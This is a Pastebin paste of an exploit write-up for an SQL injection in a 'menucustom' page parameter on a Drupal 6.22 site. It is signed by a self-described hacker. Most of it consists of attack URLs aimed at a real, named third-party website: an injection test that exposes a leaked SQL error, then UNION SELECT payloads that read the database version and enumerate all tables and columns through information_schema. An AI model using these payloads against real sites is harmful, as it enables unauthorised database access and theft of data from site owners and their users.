Advertisement
xBADGIRL21

Drupal 6.22 - menupereid SQL injection Vulnerability

Jul 5th, 2016
159
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.30 KB | None | 0 0
  1. ######################
  2. # Exploit Title : Drupal 6.22 - menupereid SQL injection Vulnerability
  3. # Exploit Author : xBADGIRL21
  4. # Category: [ Webapps ]
  5. # Tested on: [ Win | Linux]
  6. # Version: Drupal 6.22
  7. # Date: 2016/07/04
  8. # Dork : ?
  9. # videoProof: https://www.youtube.com/watch?v=04SXEcWn-us
  10. ######################
  11. # PoC:
  12. # http://www.site.com/content/menucustom?menupereid=[SQLi]
  13. #
  14. + test:=> http://www.cicame.ca/en/content/menucustom?menupereid=8'
  15. #
  16. # respone:user warning: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax
  17. # to use near ''' at line 1 query: select * from menu where menuid=8' in /var/www/d6.cicame-energie.ca/html/includes/common.inc(1743) : eval()'d code on line 222
  18. + Demo
  19. # http://www.cicame.ca/en/content/menucustom?menupereid=8
  20. # http://www.cicame.ca/en/content/menucustom?menupereid=-8 UNION SELECT 1,2,3,4,5,6,7,8--+
  21. # http://www.cicame.ca/en/content/menucustom?menupereid=-8 UNION SELECT 1,2,3,4,5,version(),7,8--+
  22. # http://www.cicame.ca/en/content/menucustom?menupereid=-8 UNION SELECT 1,2,3,4,5,concat(column_name,0x3e,table_schema,0x3e,table_name),7,8 from
  23. # information_schema.columns--+
  24. ######################
  25. # Discovered by : xBADGIRL21
  26. # Greetz : All Mauritanien Hackers - NoWhere
  27. #######################
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement